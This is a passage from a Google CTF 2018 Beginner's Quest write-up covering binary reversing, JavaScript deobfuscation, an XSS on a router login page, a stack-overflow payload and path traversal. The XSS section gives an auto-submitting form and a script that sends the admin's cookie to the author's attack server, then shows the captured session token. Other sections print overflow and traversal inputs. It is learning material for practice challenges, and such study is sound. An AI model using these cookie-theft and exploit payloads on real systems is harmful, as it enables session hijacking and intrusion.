0x555555554de0 (\u0026#34;0n3_W4rM\u0026#34;) RDI: 0x7fffffffe7f8 --\u0026gt; 0x4242004141414141 (\u0026#39;AAAAA\u0026#39;) RBP: 0x7fffffffe490 --\u0026gt; 0x0 RSP: 0x7fffffffe3e0 --\u0026gt; 0x7fffffffe578 --\u0026gt; 0x7fffffffe7d0 (\u0026#34;/media/sf_VirtualBoxCentOS/./gatekeeper\u0026#34;) RIP: 0x555555554a46 (\u0026lt;main+143\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt;) R8 : 0x2e (\u0026#39;.\u0026#39;) R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740) R10: 0x7fffffffde20 --\u0026gt; 0x0 R11: 0x246 R12: 0x5555555547c0 (\u0026lt;_start\u0026gt;: xor ebp,ebp) R13: 0x7fffffffe570 --\u0026gt; 0x3 R14: 0x0 R15: 0x0 EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555554a39 \u0026lt;main+130\u0026gt;: mov rax,QWORD PTR [rax] 0x555555554a3c \u0026lt;main+133\u0026gt;: lea rsi,[rip+0x39d] # 0x555555554de0 0x555555554a43 \u0026lt;main+140\u0026gt;: mov rdi,rax =\u0026gt; 0x555555554a46 \u0026lt;main+143\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt; 0x555555554a4b \u0026lt;main+148\u0026gt;: test eax,eax 0x555555554a4d \u0026lt;main+150\u0026gt;: je 0x555555554a7b \u0026lt;main+196\u0026gt; 0x555555554a4f \u0026lt;main+152\u0026gt;: mov edi,0xa 0x555555554a54 \u0026lt;main+157\u0026gt;: call 0x555555554710 \u0026lt;putchar@plt\u0026gt; Guessed arguments: arg[0]: 0x7fffffffe7f8 --\u0026gt; 0x4242004141414141 (\u0026#39;AAAAA\u0026#39;) arg[1]: 0x555555554de0 (\u0026#34;0n3_W4rM\u0026#34;) The second time is zLl1ks_d4m_T0g_I. Set this as the second argument and run it again.\n[----------------------------------registers-----------------------------------] RAX: 0x555555757010 --\u0026gt; 0x4242424242 (\u0026#39;BBBBB\u0026#39;) RBX: 0x0 RCX: 0xb48 (\u0026#39;H\\x0b\u0026#39;) RDX: 0x2e (\u0026#39;.\u0026#39;) RSI: 0x555555554e01 (\u0026#34;zLl1ks_d4m_T0g_I\u0026#34;) RDI: 0x555555757010 --\u0026gt; 0x4242424242 (\u0026#39;BBBBB\u0026#39;) RBP: 0x7fffffffe480 --\u0026gt; 0x0 RSP: 0x7fffffffe3d0 --\u0026gt; 0x7fffffffe568 --\u0026gt; 0x7fffffffe7cd (\u0026#34;/media/sf_VirtualBoxCentOS/./gatekeeper\u0026#34;) RIP: 0x555555554b57 (\u0026lt;main+416\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt;) R8 : 0x2e (\u0026#39;.\u0026#39;) R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740) R10: 0x7fffffffde20 --\u0026gt; 0x0 R11: 0x246 R12: 0x5555555547c0 (\u0026lt;_start\u0026gt;: xor ebp,ebp) R13: 0x7fffffffe560 --\u0026gt; 0x3 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555554b49 \u0026lt;main+402\u0026gt;: mov rax,QWORD PTR [rbp-0x10] 0x555555554b4d \u0026lt;main+406\u0026gt;: lea rsi,[rip+0x2ad] # 0x555555554e01 0x555555554b54 \u0026lt;main+413\u0026gt;: mov rdi,rax =\u0026gt; 0x555555554b57 \u0026lt;main+416\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt; 0x555555554b5c \u0026lt;main+421\u0026gt;: test eax,eax 0x555555554b5e \u0026lt;main+423\u0026gt;: jne 0x555555554bba \u0026lt;main+515\u0026gt; 0x555555554b60 \u0026lt;main+425\u0026gt;: lea rdi,[rip+0x2ab] # 0x555555554e12 0x555555554b67 \u0026lt;main+432\u0026gt;: call 0x5555555548ca \u0026lt;text_animation\u0026gt; Guessed arguments: arg[0]: 0x555555757010 --\u0026gt; 0x4242424242 (\u0026#39;BBBBB\u0026#39;) arg[1]: 0x555555554e01 (\u0026#34;zLl1ks_d4m_T0g_I\u0026#34;) Second strcmp. RDI should contain the second argument, but it has changed from zLl1ks_d4m_T0g_I to I_g0T_m4d_sk1lLz. Since the behaviour and results show it\u0026rsquo;s being reversed for comparison, I\u0026rsquo;ll set it to I_g0T_m4d_sk1lLz and run it again.\n[----------------------------------registers-----------------------------------] RAX: 0x555555757010 (\u0026#34;I_g0T_m4d_sk1lLz\u0026#34;) RBX: 0x0 RCX: 0xb48 (\u0026#39;H\\x0b\u0026#39;) RDX: 0x2e (\u0026#39;.\u0026#39;) RSI: 0x555555554e01 (\u0026#34;zLl1ks_d4m_T0g_I\u0026#34;) RDI: 0x555555757010 (\u0026#34;I_g0T_m4d_sk1lLz\u0026#34;) RBP: 0x7fffffffe480 --\u0026gt; 0x0 RSP: 0x7fffffffe3d0 --\u0026gt; 0x7fffffffe568 --\u0026gt; 0x7fffffffe7c2 (\u0026#34;/media/sf_VirtualBoxCentOS/./gatekeeper\u0026#34;) RIP: 0x555555554b57 (\u0026lt;main+416\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt;) R8 : 0x2e (\u0026#39;.\u0026#39;) R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740) R10: 0x7fffffffde20 --\u0026gt; 0x0 R11: 0x246 R12: 0x5555555547c0 (\u0026lt;_start\u0026gt;: xor ebp,ebp) R13: 0x7fffffffe560 --\u0026gt; 0x3 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555554b49 \u0026lt;main+402\u0026gt;: mov rax,QWORD PTR [rbp-0x10] 0x555555554b4d \u0026lt;main+406\u0026gt;: lea rsi,[rip+0x2ad] # 0x555555554e01 0x555555554b54 \u0026lt;main+413\u0026gt;: mov rdi,rax =\u0026gt; 0x555555554b57 \u0026lt;main+416\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt; 0x555555554b5c \u0026lt;main+421\u0026gt;: test eax,eax 0x555555554b5e \u0026lt;main+423\u0026gt;: jne 0x555555554bba \u0026lt;main+515\u0026gt; 0x555555554b60 \u0026lt;main+425\u0026gt;: lea rdi,[rip+0x2ab] # 0x555555554e12 0x555555554b67 \u0026lt;main+432\u0026gt;: call 0x5555555548ca \u0026lt;text_animation\u0026gt; Guessed arguments: arg[0]: 0x555555757010 (\u0026#34;I_g0T_m4d_sk1lLz\u0026#34;) arg[1]: 0x555555554e01 (\u0026#34;zLl1ks_d4m_T0g_I\u0026#34;) I_g0T_m4d_sk1lLz is the password, and you get the flag.\n$ ./gatekeeper 0n3_W4rM I_g0T_m4d_sk1lLz /===========================================================================\\ | Gatekeeper - Access your PC from everywhere! | +===========================================================================+ ~\u0026gt; Verifying.......Correct! Welcome back! CTF{DUMMY_FLAG} Web JS SAFE Since I couldn\u0026rsquo;t solve it on my own, I referred to Hacking Livestream #57: Google CTF 2018 Beginners Quest and CTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner\u0026rsquo;s Quest - JS Safe 1.0 / Writeup.\nA file named js_safe_1.html was provided as an attachment, which displays a text box when opened in a browser. Entering any random string results in an \u0026ldquo;Access Denied\u0026rdquo; message.\n\u0026lt;script\u0026gt; const alg = { name: \u0026#39;AES-CBC\u0026#39;, iv: Uint8Array.from([211,42,178,197,55,212,108,85,255,21,132,210,209,137,37,24])}; const secret = Uint8Array.from([26,151,171,117,143,168,228,24,197,212,192,15,242,175,113,59,102,57,120,172,50,64,201,73,39,92,100,64,172,223,46,189,65,120,223,15,34,96,132,7,53,63,227,157,15,37,126,106]); async function open_safe() { keyhole.disabled = true; /* keyholeは表示されているテキストボックス */ password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value); if (!password || !(await x(password[1]))) return document.body.className = \u0026#39;denied\u0026#39;; document.body.className = \u0026#39;granted\u0026#39;; const pwHash = await crypto.subtle.digest(\u0026#39;SHA-256\u0026#39;, new TextEncoder().encode(password[1])); const key = await crypto.subtle.importKey(\u0026#39;raw\u0026#39;, pwHash, alg, false, [\u0026#39;decrypt\u0026#39;]); content.value = new TextDecoder(\u0026#34;utf-8\u0026#34;).decode(await crypto.subtle.decrypt(alg, key, secret)) } \u0026lt;/script\u0026gt; Looking at the source code, if the string entered into the text box matches the regular expression /^CTF{([0-9a-zA-Z_@!?-]+)}$/, the string inside the curly braces is passed as an argument to function x; if the result is true, it decodes some kind of binary sequence.\n\u0026lt;script\u0026gt; async function x(password) { // TODO: check if they can just use Google to get the password once they understand how this works. var code = \u0026#39;icffjcifkciilckfmckincmfockkpcofqcoircqfscoktcsfucsivcufwcooxcwfycwiAcyfBcwkCcBfDcBiEcDfFcwoGcFfHcFiIcHfJcFkKcJfLcJiMcLfNcwwOcNNPcOOQcPORcQNScRkTcSiUcONVcUoWcOwXcWkYcVkЀcYiЁcЀfЂcQoЃcЂkЄcЃfЅcPNІcЅwЇcІoЈcЇiЉcЈfЊcPkЋcЊiЌcІiЍcЌfЎcWoЏcЎkАcЏiБcІkВcБfГcNkДcГfЕcЇkЖcЕiЗcЖfИcRwЙcИoКcЙkЛcUkМcЛiНcМfОcИkПcОiРcПfСcUwТcСiУcQkФcУiХcЃiЦcQwЧcЦoШcЧkЩcШiЪcЩfЫcRiЬcЫfЭcКiЮcЭfЯcСoаcЯiбcГiвcЙiгcRoдcгkеcдiжdТaзcЛfиdзaжcжийcСkкdйaжcжклcйfмdлaжcжмнdТaжcжноdЀaжcжопdNaжcжпрcUiсcрfтdсaуdЁaтcтутcтофcТfхdфaтcтхтcтктcтнтcтмцdсaтcтцтcтктcтутcтнчaaтшdЯaщcйiъcщfыdъaьcжыэcVfюdэaьcьюьcьояdЛaьcьяьcьуьcьыѐчшьёѐшшђcOfѓdђaѓcѓнѓcѓнєcUfѕdєaѓcѓѕіcЯfїdіaѓcѓїјaёѓљaaтњcжшћcЎiќcћfѝdќaњcњѝњcњeўcЏfџdўaњcњџѠdАaњcњѠњcњшњcњѝњcњfњcњџѡљшњѢaaтѣcжшѣcѣѝѣcѣeѣcѣџѤcЯkѥdѤaѣcѣѥѣcѣшѣcѣѝѣcѣfѣcѣџѦѢшѣѧcцнѧcѧїѨdСaѧcѧѨѧcѧкѧcѧуѩaёѧѪcхмѫdрaѪcѪѫѪcѪкѬdYaѪcѪѬѪcѪиѭaѩѪѮcяюѯdНaѮcѮѯѮcѮиѮcѮхѮcѮкѰaѭѮѱdVaѲcхѱѲcѲѕѳcNoѴcѳkѵcѴfѶdѵaѲcѲѶѲcѲiѲcѲlѲcѲmѷјѲgѸјѭѷѹbѰѸѺcXfѻdѺaѻcѻюѻcѻоѻcѻкѻcѻoѼdђaѻcѻѼѻcѻнѻcѻнѻcѻѕѻcѻїѽaёѻѾѽѹшѿceeҀceeҁcee҂ceeѿaѾeҀјѿT҂ѡҀшҁјh҂hѦҁшѿaѾfҀјѿV҂ѡҀшҁјh҂hѦҁшѿaѾiҀјѿU҂ѡҀшҁјh҂hѦҁшѿaѾjҀјѿX҂ѡҀшҁјh҂hѦҁшѿaѾkҀјѿЁ҂ѡҀшҁјh҂hѦҁшѿaѾlҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾmҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾnҀјѿЉ҂ѡҀшҁјh҂hѦҁшѿaѾoҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾpҀјѿЋ҂ѡҀшҁјh҂hѦҁшѿaѾqҀјѿЍ҂ѡҀшҁјh҂hѦҁшѿaѾrҀјѿА҂ѡҀшҁјh҂hѦҁшѿaѾsҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾtҀјѿВ҂ѡҀшҁјh҂hѦҁшѿaѾuҀјѿД҂ѡҀшҁјh҂hѦҁшѿaѾvҀјѿЗ҂ѡҀшҁјh҂hѦҁшѿaѾwҀјѿК҂ѡҀшҁјh҂hѦҁшѿaѾxҀјѿН҂ѡҀшҁјh҂hѦҁшѿaѾyҀјѿР҂ѡҀшҁјh҂hѦҁшѿaѾAҀјѿТ҂ѡҀшҁјh҂hѦҁшѿaѾBҀјѿФ҂ѡҀшҁјh҂hѦҁшѿaѾCҀјѿW҂ѡҀшҁјh҂hѦҁшѿaѾDҀјѿХ҂ѡҀшҁјh҂hѦҁшѿaѾEҀјѿЪ҂ѡҀшҁјh҂hѦҁшѿaѾFҀјѿЬ҂ѡҀшҁјh҂hѦҁшѿaѾGҀјѿЮ҂ѡҀшҁјh҂hѦҁшѿaѾHҀјѿа҂ѡҀшҁјh҂hѦҁшѿaѾIҀјѿe҂ѡҀшҁјh҂hѦҁшѿaѾJҀјѿб҂ѡҀшҁјh҂hѦҁшѿaѾKҀјѿв҂ѡҀшҁјh҂hѦҁшѿaѾLҀјѿK҂ѡҀшҁјh҂hѦҁшѿaѾMҀјѿе҂ѡҀшҁјh҂hѦҁшѐceeёceeѓceeјceeљceeњceeѡceeѢceeѣceeѦceeѧceeѩceeѪceeѭceeѮceeѰceeѲceeѷceeѸceeѹceeѻceeѽceeѾceeҀceeҁceeжceeтceeчceeьcee\u0026#39; var env = { a: (x,y) =\u0026gt; x[y], b: (x,y) =\u0026gt; Function.constructor.apply.apply(x, y), c: (x,y) =\u0026gt; x+y, d: (x) =\u0026gt; String.fromCharCode(x), e: 0, f: 1, g: new TextEncoder().encode(password), h: 0, }; for (var i = 0; i \u0026lt; code.length; i += 4) { var [lhs, fn, arg1, arg2] = code.substr(i, 4); try { env[lhs] = env[fn](env[arg1], env[arg2]); } catch(e) { env[lhs] = new env[fn](env[arg1], env[arg2]); } if (env[lhs] instanceof Promise) env[lhs] = await env[lhs]; } return !env.h; } \u0026lt;/script\u0026gt; In function x, the string \u0026lsquo;code\u0026rsquo; is read four characters at a time, and processing is carried out based on its content. For this function to return true, the value of env.h must ultimately be null, undefined, 0, \u0026rsquo;\u0026rsquo; (an empty string), or false.\nfor (var i = 0; i \u0026lt; code.length; i += 4) { var [lhs, fn, arg1, arg2] = code.substr(i, 4); console.log(\u0026#39;-------------------------\u0026#39;, i, env[\u0026#39;h\u0026#39;]); console.log(lhs, \u0026#34;=\u0026#34;, env[fn], \u0026#34;(\u0026#34;, env[arg1], \u0026#34;,\u0026#34;, env[arg2], \u0026#34;)\u0026#34;); console.log(env); I\u0026rsquo;ll perform print debugging using console.log to track changes in the env. Looking through it, for a while it seems to be generating some strings, but from i=876, I can see a process that appears to be taking the SHA-256 hash of the password argument.\nAfter that, string generation continues for a bit longer, and at i = 940, the Uint8Array() of the hash generated earlier is assigned to env['Ѿ'].\nSince the value of env.h changes for the first time at i = 980, I\u0026rsquo;ll focus on the process immediately preceding it. I\u0026rsquo;ve output arg1 and arg2 as well for debugging purposes.\nAt i = 960, index 0 of the previously assigned Uint8Array() is assigned to env['ѿ'], and at i = 968, the XOR of env['ѿ'] and env['T'] (= 230) is taken and assigned to env['҂']. At i = 976, the result of the OR operation between env['h'] and env['҂'] is assigned to env['h'].\nIn other words, to perform the operations from at least i = 960 to i = 976 and keep env.h at 0, index 0 of the Uint8Array() obtained from the hash of the password argument in function x must be 230.\nLooking at the processing from i = 980 onwards, the same operations are being performed for index 1 and subsequent indices of the Uint8Array(). Basically, it seems that the result of every XOR operation needs to be 0.\nvar nums = []; for (var i = 0; i \u0026lt; code.length; i += 4) { var [lhs, fn, arg1, arg2] = code.substr(i, 4); if(i \u0026gt;= 960 ) { console.log(\u0026#39;-------------------------\u0026#39;, i, env[\u0026#39;h\u0026#39;]); console.log(lhs, \u0026#34;=\u0026#34;, env[fn], \u0026#34;(\u0026#34;, env[arg1], \u0026#34;,\u0026#34;, env[arg2], \u0026#34;)\u0026#34;); console.log(env); console.log(\u0026#39;arg1:\u0026#39;, arg1, \u0026#39; arg2:\u0026#39;, arg2); if(lhs == \u0026#39;҂\u0026#39;) { nums.push(env[arg1][1]) } } try { env[lhs] = env[fn](env[arg1], env[arg2]); } catch(e) { env[lhs] = new env[fn](env[arg1], env[arg2]); } if (env[lhs] instanceof Promise) env[lhs] = await env[lhs]; if(i == 884){ console.log(env[lhs]) } } console.log(nums); return !env.h; Output the values that have been XORed for i \u0026gt;= 960 as described above. The result is [230, 104, 96, 84, 111, 24, 205, 187, 205, 134, 179, 94, 24, 181, 37, 191, 252, 103, 247, 114, 198, 80, 206, 223, 227, 255, 122, 0, 38, 250, 29, 238].\nIf the SHA-256 hash value of the content inside CTF{} matches the above result, the XOR results will all become 0, and the final env.h will be 0.\nimport binascii nums = [230, 104, 96, 84, 111, 24, 205, 187, 205, 134, 179, 94, 24, 181, 37, 191, 252, 103, 247, 114, 198, 80, 206, 223, 227, 255, 122, 0, 38, 250, 29, 238] print(bytearray(nums).hex()) A Python script to convert a hash value from a byte array to a string. The result is e66860546f18cdbbcd86b35e18b525bffc67f772c650cedfe3ff7a0026fa1dee.\nThe string that produces this hash value can be found using services like Hash Encryption and Reverse Decryption. The flag is the obtained value placed inside CTF{}.\nSide note Using console.log(env) for print debugging in Chrome results in unintended output5. (I got stuck on this and couldn\u0026rsquo;t solve it on my own.)\nROUTER-UI A page is provided where you enter a username and password to sign in: https://router-ui.web.ctfcompetition.com/login\nConfirming XSS Vulnerability If we could find an XSS on the page then we could use it to steal the root user session token.\nAccording to the problem description, XSS is executable, and it must be used to steal the root user\u0026rsquo;s session token.\nFirst, try logging in with a normal string.\nIt\u0026rsquo;s unnaturally separated by //, suggesting this might be used in some scenario.\nNext, try XSS by entering \u0026lt;script\u0026gt;alert(1);\u0026lt;/script\u0026gt; as the username. Since Chrome and Safari have built-in XSS blocking features, Firefox was used.\nalert(1) is working. Using the same procedure, I confirmed that the password field also has an XSS vulnerability.\nChecking the email address mentioned in the problem description In case you find something, try to send an email to wintermuted@googlegroups.com.\nThe problem description also mentions that it\u0026rsquo;s possible to send an email to someone who seems to be the administrator.\nTo check the behaviour, I sent an email with an empty body to wintermuted@googlegroups.com, and the following text was returned:\nHey, I checked out your email, but I couldn\u0026#39;t spot anything that looked like a link. Can you send it again? It seems Wintermuted will access the link you sent.\nSince there\u0026rsquo;s no way to make Wintermuted execute a script within the Sign in page, I can infer that the challenge involves setting up an attack server to steal cookies. (I didn\u0026rsquo;t think of setting up an attack server, so I got stuck here.)\nPreparing the attack server Set up an attack server and create a form that automatically performs a POST request to the Sign in page. In this case, I set up https://ctf.unigiri.net and obtained a certificate via Let\u0026rsquo;s Encrypt.\nThe router-ui.html file to be clicked by Wintermuted is as follows. By using the string // to separate the username and password, you can successfully execute a script that includes a URL.\nAll communication must be done via HTTPS. You won\u0026rsquo;t be able to obtain the cookies mentioned later through HTTP communication.\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;POST\u0026#34; action=\u0026#34;https://router-ui.web.ctfcompetition.com/login\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;username\u0026#34; value=\u0026#34;\u0026lt;script src=https:\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;password\u0026#34; value=\u0026#34;ctf.unigiri.net/steal.js\u0026gt;\u0026lt;/script\u0026gt;;\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt;document.forms[0].submit();\u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; The content of steal.js is just a single line: window.location.href='https://ctf.unigiri.net/log.php?'+document.cookie;.\nAs a result, when Wintermuted accesses router-ui.html, the following communication sequence occurs:\nGET https://ctf.unigiri.net/router-ui.html POST https://router-ui.web.ctfcompetition.com/login GET https://ctf.unigiri.net/log.php?COOKIE Wintermuted\u0026rsquo;s cookie is inserted into the parameters of the third communication, and this value can be checked from the attack server\u0026rsquo;s access logs.\nExecuting the Attack Send the attack URL to Wintermuted Enter https://ctf.unigiri.net/router-ui.html in the body and send it. There is no need to attach the cat image.\nCheck the access logs - - [15/Dec/2018:08:45:28 +0000] \u0026#34;GET /router-ui.html HTTP/2.0\u0026#34; 200 337 \u0026#34;-\u0026#34; \u0026#34;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36\u0026#34; - - [15/Dec/2018:08:45:28 +0000] \u0026#34;GET /steal.js HTTP/2.0\u0026#34; 200 205 \u0026#34;https://router-ui.web.ctfcompetition.com/login\u0026#34; \u0026#34;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36\u0026#34; - - [15/Dec/2018:08:45:28 +0000] \u0026#34;GET /log.php?flag=Try%20the%20session%20cookie;%20session=Avaev8thDieM6Quauoh2TuDeaez9Weja HTTP/2.0\u0026#34; 404 277 \u0026#34;https://router-ui.web.ctfcompetition.com/login\u0026#34; \u0026#34;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36\u0026#34; The flag=Try... on the third line is Wintermuted\u0026rsquo;s cookie. URL decoding it gives Try the session cookie; session=Avaev8thDieM6Quauoh2TuDeaez9Weja, so proceed as instructed.\nCookie Setup Using a Firefox header modification plugin, access https://router-ui.web.ctfcompetition.com/ with the cookie set to session=Avaev8thDieM6Quauoh2TuDeaez9Weja.\nThe admin panel is displayed, and the flag is obtained from the page source.\nPwn MOAR Running nc moar.ctfcompetition.com 1337 opens man socat. Since shell commands can be executed using !\u0026lt;command\u0026gt;, search for suspicious files to obtain the flag.\n$ nc moar.ctfcompetition.com 1337 socat(1) socat(1) NAME socat - Multipurpose relay (SOcket CAT) SYNOPSIS socat [options] \u0026lt;address\u0026gt; \u0026lt;address\u0026gt; socat -V socat -h[h[h]] | -?[?[?]] filan procan DESCRIPTION Socat is a command line based utility that establishes two bidirec- tional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many dif- ferent purposes. Filan is a utility that prints information about its active file descriptors to stdout. It has been written for debugging socat, but might be useful for other purposes too. Use the -h option to find more Manual page socat(1) line 1 (press h for help or q to quit)!ls !ls bin dev home lib64 mnt proc run srv tmp var boot etc lib media opt root sbin sys usr !done (press RETURN)!ls /home !ls /home moar !done (press RETURN)!ls /home/moar !ls /home/moar disable_dmz.sh !done (press RETURN)!cat /home/moar/disable_dmz.sh !cat /home/moar/disable_dmz.sh #!/bin/sh # Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the \u0026#34;License\u0026#34;); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an \u0026#34;AS IS\u0026#34; BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. echo \u0026#39;Disabling DMZ using password CTF{DUMMY_FLAG}\u0026#39; echo CTF{DUMMY_FLAG} \u0026gt; /dev/dmz !done (press RETURN) MESSAGE OF THE DAY You are given the command nc motd.ctfcompetition.com 1337 and the binary motd.\nRunning nc displays a menu.\nChoose functionality to test: 1 - Get user MOTD 2 - Set user MOTD 3 - Set admin MOTD (TODO) 4 - Get admin MOTD 5 - Exit choice: In this context, a single-line string stored in the program is referred to as the MOTD. Immediately after startup, MOTD: Welcome back friend! is stored as the MOTD.\nFunction 1 displays the MOTD for general users, 2 performs the save, 3 sets the MOTD for admins, and 4 displays it.\nLooking for vulnerable behaviour $ python -c \u0026#34;print(\u0026#39;2\\n\u0026#39;+\u0026#39;A\u0026#39;*300)\u0026#34; | nc motd.ctfcompetition.com 1337 Choose functionality to test: 1 - Get user MOTD 2 - Set user MOTD 3 - Set admin MOTD (TODO) 4 - Get admin MOTD 5 - Exit choice: Enter new message of the day New msg: New message of the day saved! $ # The menu should have reappeared if everything was normal, but the process crashed. Providing an arbitrarily long string in function 2 causes the program to crash, suggesting that the string length is not being checked.\nBehavioural verification using IDA ; Attributes: bp-based frame public set_motd set_motd proc near src= byte ptr -100h push rbp mov rbp, rsp sub rsp, 100h lea rdi, s ; \u0026#34;Enter new message of the day\u0026#34; call _puts lea rdi, format ; \u0026#34;New msg: \u0026#34; mov eax, 0 call _printf lea rax, [rbp+src] mov rdi, rax mov eax, 0 call _gets lea rax, [rbp+src] mov edx, 100h ; n mov rsi, rax ; src lea rdi, MOTD ; dest call _strncpy mov cs:byte_608071DF, 0 lea rdi, aNewMessageOfTh ; \u0026#34;New message of the day saved!\u0026#34; call _puts nop leave retn set_motd endp Processing details for Function 2. After allocating a buffer for MOTD input with sub rsp, 100h, it reads into [rbp+src] without checking the input length. Therefore, it\u0026rsquo;s possible to overwrite the return address here.\n; Attributes: bp-based frame public read_flag read_flag proc near var_110= byte ptr -110h var_8= qword ptr -8 push rbp mov rbp, rsp sub rsp, 110h lea rdx, [rbp+var_110] mov eax, 0 mov ecx, 20h mov rdi, rdx rep stosq lea rsi, modes ; \u0026#34;r\u0026#34; lea rdi, filename ; \u0026#34;./flag.txt\u0026#34; call _fopen mov [rbp+var_8], rax lea rdx, [rbp+var_110] mov rax, [rbp+var_8] lea rsi, aS ; \u0026#34;%s\u0026#34; mov rdi, rax mov eax, 0 call ___isoc99_fscanf lea rax, [rbp+var_110] mov rsi, rax lea rdi, aAdminMotdIsS ; \u0026#34;Admin MOTD is: %s\\n\u0026#34; mov eax, 0 call _printf nop leave retn read_flag endp Additionally, there is a function called read_flag that is called from function 4, which reads and outputs the contents of ./flag.txt.\nIt is thought that the flag can be obtained by setting the return address mentioned earlier to the starting point of this function. From IDA\u0026rsquo;s Text view, the starting point is found to be 0x606063A5.\nCreating the payload Immediately after the start of the function set_motd, the return address is stored in RSP (as it is pushed by the preceding call).\nFrom here, \u0026ldquo;push rbp\u0026rdquo;, \u0026ldquo;mov rbp, rsp\u0026rdquo;, and \u0026ldquo;sub rsp, 100h\u0026rdquo; are executed in order, and the area [rbp-100h] for MOTD input is allocated. Therefore, the total length of 264, as shown below, becomes the length of the meaningless characters at the beginning of the payload.\n8 bytes for \u0026ldquo;push rbp\u0026rdquo; 0x100 (=256) bytes for \u0026ldquo;sub rsp, 100h\u0026rdquo; However, note that since gets() appends a null character to the read string, the actual input is reduced by one character to 263 characters.\nAfter outputting the meaningless characters, input the return address 0x606063A5. It will be in reverse order due to little-endian.\n$ python -c \u0026#34;print(\u0026#39;A\u0026#39;*263 + \u0026#39;\\xa5\\x63\\x60\\x60\u0026#39;)\u0026#34; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¥c`` Sending the payload Input the payload created above when executing function 2 to obtain the flag.\n$ python -c \u0026#34;print(\u0026#39;2\\n\u0026#39;+\u0026#39;A\u0026#39;*263 + \u0026#39;\\xa5\\x63\\x60\\x60\u0026#39;)\u0026#34; | nc motd.ctfcompetition.com 1337 Choose functionality to test: 1 - Get user MOTD 2 - Set user MOTD 3 - Set admin MOTD (TODO) 4 - Get admin MOTD 5 - Exit choice: Enter new message of the day New msg: New message of the day saved! Admin MOTD is: CTF{DUMMY_FLAG} As an aside When I tried sending the payload on CentOS 7, it failed because the return address \\xa5 wasn\u0026rsquo;t outputting correctly. It worked on macOS, and the reason for this discrepancy is unknown.\nPwn-Reversing ADMIN UI $ nc mngmnt-iface.ctfcompetition.com 1337 === Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit Access it exactly as described in the problem statement. The menu to use for obtaining the flag is 2) Read EULA/patch notes.\n=== Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit 2 The following patchnotes were found: - Version0.2 - Version0.3 Which patchnotes should be shown? Version0.2 ## Release 0.2 - Updated library X to version 0.Y - Fixed path traversal bug - Improved the UX === Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit 2 The following patchnotes were found: - Version0.2 - Version0.3 Which patchnotes should be shown? Version0.3 # Version 0.3 - Rollback of version 0.2 because of random reasons - Blah Blah - Fix random reboots at 2:32 every second Friday when it\u0026#39;s new-moon. The Fixed path traversal bug in Version 0.2 is a hint that this system is vulnerable to path traversal.\n=== Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit 2 The following patchnotes were found: - Version0.2 - Version0.3 Which patchnotes should be shown? ../../../../../etc/passwd ----- snip ----- user:x:1337:1337::/home/user: Of the entries in /etc/passwd, the only ordinary user is user.\nWhich patchnotes should be shown? ../../../../home/user/flag CTF{DUMMY_FLAG}=== Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit I searched under /home/user based on a hunch and found the flag at /home/user/flag.\nADMIN UI 2 The problem description states that the password can be obtained using the same technique as ADMIN UI.\nAccording to WriteUps6 and blog posts7, /proc/self is a symbolic link to the currently running process, so the execution command can be retrieved from there. (This was the part I didn\u0026rsquo;t get.)\nprintf \u0026#39;2\\n../../../../../proc/self/exe\\n\u0026#39; | nc mngmnt-iface.ctfcompetition.com 1337 \u0026gt; admin-ui2 ^C $ binwalk -e --dd=\u0026#39;.*\u0026#39; admin-ui2 